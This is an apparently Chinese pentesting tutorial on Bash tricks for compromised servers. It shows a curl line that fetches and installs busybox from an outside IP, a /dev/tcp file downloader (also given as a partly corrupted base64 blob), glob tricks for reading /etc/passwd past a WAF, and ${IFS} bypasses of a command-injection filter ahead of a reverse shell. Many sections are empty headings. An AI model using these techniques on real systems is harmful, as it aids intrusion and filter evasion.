🖥️Bash进阶-攻防实战场景应用
Bash渗透实战场景
当服务器没有wget、curl怎么下载文件?不能出网? yum apt-get
前置情况:
服务器不能上网
没有wget
没有curl
Busybox是什么?
https://baike.baidu.com/item/busybox/427860
在遇到没有wget的方式时,可以通过curl命令来下载busybox之后安装wget命令。
curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"这种方式只能解决部分问题,遇到了没有wget和curl命令的时候就很无解。
以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求,这就解决了服务器没有wget、curl也能够下载文件
#下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
#-r 屏蔽 \,按行读取Header部分,匹配到\r就停止读取
while IFS= read -r line ; do
[[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
#读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s$nul" "$x"
done <&3
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download下载文件:
执行流程分析:
扩展模式
bash内置了这个功能,与所要执行的命令无关,命令本身不存在参数扩展
模块扩展的英文单词是glob,这个词来自于早期的 Unix 系统有一个/etc/glob文件,保存扩展的模板。
其中有些用到通配符,又称为通配符扩展(wildcard expansion)
Bash提供八种扩展:
波浪线扩展
? 字符扩展
字符扩展
方括号扩展
大括号扩展
变量扩展
子命令扩展
算术扩展
开启与关闭扩展模式
波浪线扩展
字符扩展
? 字符代表文件路径中的任意单个字符,但不包括空字符 只有文件存在才会发生扩展,文件不存在就不会
Bypass Waf常看到的
查看当前/etc/passwd
字符扩展
方括号扩展
[start-end]扩展
大括号扩展
大括号扩展不是文件名扩展。它会扩展成所有给定的值,而不管是否有对应的文件存在。
{start..end}扩展
变量扩展
子命令扩展
算术扩展
实战中IFS利用
在一次实战命令执行中,遇到了过滤:':;,<|>/`"%&
过滤了 “/“ 符号,这里可以通过IFS内部字段分隔符,Internal Field Separator 的缩写)来bypass
${IFS} 是Linux下的分隔符的意思,可以将${IFS}进行空格替换。
subset:是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串

实战利用场景:
命令执行漏洞,但代码过滤:':;,<|>/`"%&
目标环境可出网,进行反弹Shell操作。
脚本内容为常见的反弹Shell,写入到HTTP服务Web目录下,建立1.txt文件
例如空格绕过还有:
探测IP存活
Last updated
Was this helpful?